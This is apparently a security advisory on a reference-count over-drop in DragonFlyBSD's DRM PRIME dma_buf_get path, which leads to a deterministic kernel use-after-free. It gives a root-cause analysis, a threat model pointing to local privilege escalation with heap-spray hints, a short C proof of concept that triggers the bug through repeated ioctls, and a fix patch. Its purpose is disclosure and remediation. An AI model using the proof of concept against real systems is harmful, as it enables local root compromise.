Summary

dma_buf_get() calls holdfp(curthread, fd, -1) to borrow a reference, extracts fp->private_data into dmabuf, then calls dropfp(curthread, fd, fp) to return the borrow — leaving the returned dmabuf with zero references held. Every caller in the DRM PRIME path (drm_prime.c:802→848/857/864) then calls dma_buf_put() which does fdrop(dmabuf->file), decrementing f_count by one that the caller never owned. Repeated PRIME_FD_TO_HANDLE ioctls drive f_count to zero while the fd-table slot still points at the freed struct file, yielding a deterministic use-after-free exploitable for local unpriv→root.

Root cause

dma_buf_get at linux_dma-buf.c:174-186:

fp = holdfp(curthread, fd, -1);   /* borrows fd-cache ref (no fhold in cache-hit) */
...
dmabuf = fp->private_data;
dropfp(curthread, fd, fp);        /* returns borrow (no fdrop in cache-hit) */
return dmabuf;                    /* caller holds ZERO references */

dma_buf_put at dma-buf.h:118:

fdrop(dmabuf->file);              /* unconditional f_count decrement */

The caller drm_gem_prime_fd_to_handle (drm_prime.c:802-864): - Line 802: dma_buf = dma_buf_get(prime_fd) — no held ref. - Line 814: lookup-hit → goto out_put → line 864: dma_buf_put(dma_buf) → fdrop — one decrement without matching increment!

After one lookup-hit cycle, f_count goes to 0, the struct file is freed, but the fd-table entry still holds a dangling pointer. Any subsequent operation on the fd (close, fstat, ioctl, dup) dereferences freed memory in the M_FILE slab zone.

The success path is balanced: line 831 get_dma_buf(dma_buf) does fhold (+1), then line 848 dma_buf_put does fdrop (-1), net 0. But both error paths (lines 857, 864) and the lookup-hit path (line 864) call dma_buf_put without a preceding get_dma_buf.

Threat model & preconditions

• Attacker position: unprivileged local user with access to a DRM render node (/dev/dri/renderD128, typically mode 0666 or group video).
• Privileges gained or impact: use-after-free in M_FILE slab → with standard heap-grooming techniques (spraying the file zone via pipe/sendmsg/eventfd allocations), this is local unpriv→kernel code execution→uid 0.
• Required config or capabilities: any DRM driver with DRIVER_PRIME (i915, amdgpu, radeon).
• Reachability: no race condition required — the bug is deterministic in a single-threaded process: 1. DRM_IOCTL_MODE_CREATE_DUMB → GEM handle 2. DRM_IOCTL_PRIME_HANDLE_TO_FD → dma_buf fd (f_count=1) 3. DRM_IOCTL_PRIME_FD_TO_HANDLE (first import) → success, balanced 4. DRM_IOCTL_PRIME_FD_TO_HANDLE (second import, lookup-hit) → dma_buf_put without get_dma_buf → f_count 1→0 → freed! 5. Any operation on the dangling fd → UAF

Proof of Concept

/* dfbsd-dmabuf-uaf.c — deterministic UAF via PRIME refcount over-drop */
int drm = open("/dev/dri/renderD128", O_RDWR);
struct drm_mode_create_dumb create = { .width=64, .height=64, .bpp=32 };
ioctl(drm, DRM_IOCTL_MODE_CREATE_DUMB, &create);
struct drm_prime_handle ph = { .handle = create.handle, .flags = 0 };
ioctl(drm, DRM_IOCTL_PRIME_HANDLE_TO_FD, &ph);
int dmabuf_fd = ph.fd;
/* First import: succeeds, balanced refcount */
struct drm_prime_handle fh1 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh1);
/* Second import: lookup-hit, dma_buf_put over-drops f_count to 0 */
struct drm_prime_handle fh2 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh2);
/* dmabuf_fd now references freed M_FILE slab memory */
close(dmabuf_fd);  /* UAF */

Recommended fix

Convert the borrowed holdfp reference into a real held reference before returning, so the caller's dma_buf_put correctly balances it. The fhold()+dropfp() idiom is the standard DragonFlyBSD pattern for this conversion.

--- a/sys/dev/drm/linux_dma-buf.c
+++ b/sys/dev/drm/linux_dma-buf.c
@@ -181,8 +181,12 @@ dma_buf_get(int fd)
        kprintf("dma_buf_get(): file->f_ops != &dmabuf_fileops\n");
        dropfp(curthread, fd, fp);
        return ERR_PTR(-EBADF);
    }

    dmabuf = fp->private_data;
+   /* Hold a real reference for the caller — dma_buf_put() will fdrop it. */
+   fhold(fp);
    dropfp(curthread, fd, fp);

    return dmabuf;

Timeline

• 2026-07-25 Discovered during automated audit.
• 2026-07-25 Reported to DragonFlyBSD security contact.